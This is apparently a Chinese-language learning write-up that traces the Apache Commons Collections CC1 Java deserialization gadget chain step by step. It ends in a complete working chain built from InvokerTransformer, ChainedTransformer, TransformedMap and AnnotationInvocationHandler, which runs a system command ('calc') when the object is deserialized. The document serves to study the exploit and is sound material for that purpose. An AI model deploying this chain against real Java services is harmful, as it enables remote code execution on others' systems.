cc链调用 首先我们看一下InvokerTransformer这个类的内部的一些方法
构造函数:
1 2 3 4 5 6 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
transform函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
可以看到在transform 函数通过反射的方式尝试调用input 的一些方法
那么我们由此就可以调用系统命令 这里我们就实现了一个transformer弹计算器的恶意对象
1 2 3 4 public void hack1() { Transformer eviltransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); eviltransformer.transform(Runtime.getRuntime()); }
那么既然找到了能够调用系统命令的方法我们就要继续深入,寻找究竟在哪里会调用到transformer.transform构建成一个利用链条
我们发现在TransformedMap类里面的checkSetValue函数里面就有用到transform 方法
那么现在只需要相仿设法把valueTransformer 这个对象设置成eviltransformer 对象这样我们调用checkSetValue(Runtime.getRuntime())就相当于调用eviltransformer.transform(Runtime.getRuntime()) 弹计算器了
那么哪里能够给valueTransformer 赋值呢? 好巧不巧 我们网上翻就发现还真的有个函数是给valueTransformer 赋值的
可以看到这个decorate静态方法会构造一个TransformedMap对象然后传入valueTransformer
而TransformedMap的构造方法就会把valueTransformer 设置为我们传入的对象
这就很有意思了
我们现在可以进一步构造我们的调用链了
由于checkSetValue是个protected的方法所以我采用了反射的方法构造调用链
1 2 3 4 5 6 7 8 9 @Test public void hack2() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Transformer eviltransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); TransformedMap evilTransformedMap = (TransformedMap) TransformedMap.decorate(new HashMap(), null, eviltransformer); Method method = TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class); method.setAccessible(true); method.invoke(evilTransformedMap,Runtime.getRuntime()); }
那么接下来我们就要寻找哪里调用了checkSetValue这个函数来进一步构造我们的调用链
发现在AbstractInputCheckedMapDecorator 里面的MapEntry里面的setValue调用了checkSetValue
由于这个方法是在静态内部类MapEntry 里面 所以我们需要找到MapEntry在哪里被实例化
网上翻就可以看到MapEntry 在静态内部类EntrySetIterator的next 方法中被调用
然后我们查找EntrySetIterator类在哪里被实例化 发现在EntrySet静态内部类中的iterator方法中被实例化
然后我们继续查找EntrySet 在哪里被实例化 发现 在entrySet方法中被实例化
那么我们就可以进一步构造出一个新的链子
1 2 3 4 5 6 7 8 9 10 @Test public void hack3() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Transformer eviltransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap hashMap = new HashMap(); hashMap.put("a", "b"); Map<Object, Object> evilTransformedMap = TransformedMap.decorate(hashMap, null, eviltransformer); evilTransformedMap.entrySet().iterator().next().setValue(Runtime.getRuntime()); }
或者我们可以使用迭代器的方法
1 2 3 4 5 6 7 8 9 10 11 12 @Test public void hack3() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Transformer eviltransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap hashMap = new HashMap(); hashMap.put("a", "b"); Map<Object, Object> evilTransformedMap = TransformedMap.decorate(hashMap, null, eviltransformer); for (Map.Entry<Object, Object> entry : evilTransformedMap.entrySet()){ entry.setValue(Runtime.getRuntime()); }
那么接下来我们要进一步延长调用链 看看哪里调用了setvalue方法
刚好在AnnotationInvocationHandler下找到了setvalue同时还是在迭代器中这是在AnnotationInvocationHandler的readobject方法中 也就是说反序列化的时候进行调用的 非常符合我们反序列化调用链的条件
而且观察构造方法发现memberValues是传入的也就是可控的
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
但是由于这个构造函数不是public的所以我们需要用反射的方式进行调用从而触发我们的反序列化链
但是我们又遇到了一个问题那就是memberValue.setValue(xxxxx)传入的参数我们似乎无法控制
没关系还有一些神奇的类具有神奇的特性
来看看ConstantTransformer 类
他的transform不论传参是什么都会返回iConstant 而iConstant是构造方法传入的参数我们是可控的
也就是说transform的传参是什么都不影响他的返回结果因为在实例化这个类的时候iConstant就已经确定了
我们来看看ChainedTransformer类
transform方法 将数组中前一个object作为参数传入后一个object的transform中
那么我们可以利用这两个类构造出 恶意命令
1 2 3 4 5 6 7 8 9 10 @Test public void hack6() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class,}, new Object[]{"calc"}); ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime()); ChainedTransformer chainedTransformer = new ChainedTransformer( new Transformer[]{ constantTransformer, invokerTransformer, }); chainedTransformer.transform("hacker");
chainedTransformer.transform的参数不论输入什么都不影响他调用系统命令
那么现在我们应该可以构造出一个完整的反序列化链条了 下面这段代码将对象先序列化
当对象反序列化的时候就会被调用而已命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @Test public void hack7() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class,}, new Object[]{"calc"}); ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime()); ChainedTransformer chainedTransformer = new ChainedTransformer( new Transformer[]{ constantTransformer, invokerTransformer, }); // chainedTransformer.transform("hacker"); HashMap<Object,Object>map=new HashMap(); map.put("value", null); Map<Object,Object> decorated = TransformedMap.decorate(map,null, chainedTransformer); Class<?> clazz = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?>constructor= clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); Object o=constructor.newInstance(Target.class,decorated); SerializationUtils.serializeToFile(o); SerializationUtils.deserializeFromFile( "ser.bin"); }
但是我们运行的时候发现了一些问题Runtime类没有继承反序列化接口是不可被反序列化的
我们可以用Class 来调用
1 2 3 4 5 6 7 8 9 10 @Test public void hack8() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Class clazz = Runtime.class; Method method1 = clazz.getDeclaredMethod("getRuntime"); Runtime runtime = (Runtime) method1.invoke(null); Method method = clazz.getDeclaredMethod("exec", String.class); method.invoke(runtime,"calc"); }
那么结合一下
我们就构造出了最终的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 @Test public void hack9() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class); InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}); InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}); InvokerTransformer invokerTransformer3 = new InvokerTransformer("exec", new Class[]{String.class,}, new Object[]{"calc"}); ChainedTransformer chainedTransformer = new ChainedTransformer( new Transformer[]{ constantTransformer, invokerTransformer1, invokerTransformer2, invokerTransformer3, }); HashMap<Object,Object>map=new HashMap(); map.put("value", "value"); Map<Object,Object> decorated = TransformedMap.decorate(map,null, chainedTransformer); Class<?> clazz = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?>constructor= clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true); Object o=constructor.newInstance(Target.class,decorated); SerializationUtils.serializeToFile(o); SerializationUtils.deserializeFromFile( "ser.bin"); }
复现这个链子要了半条命…….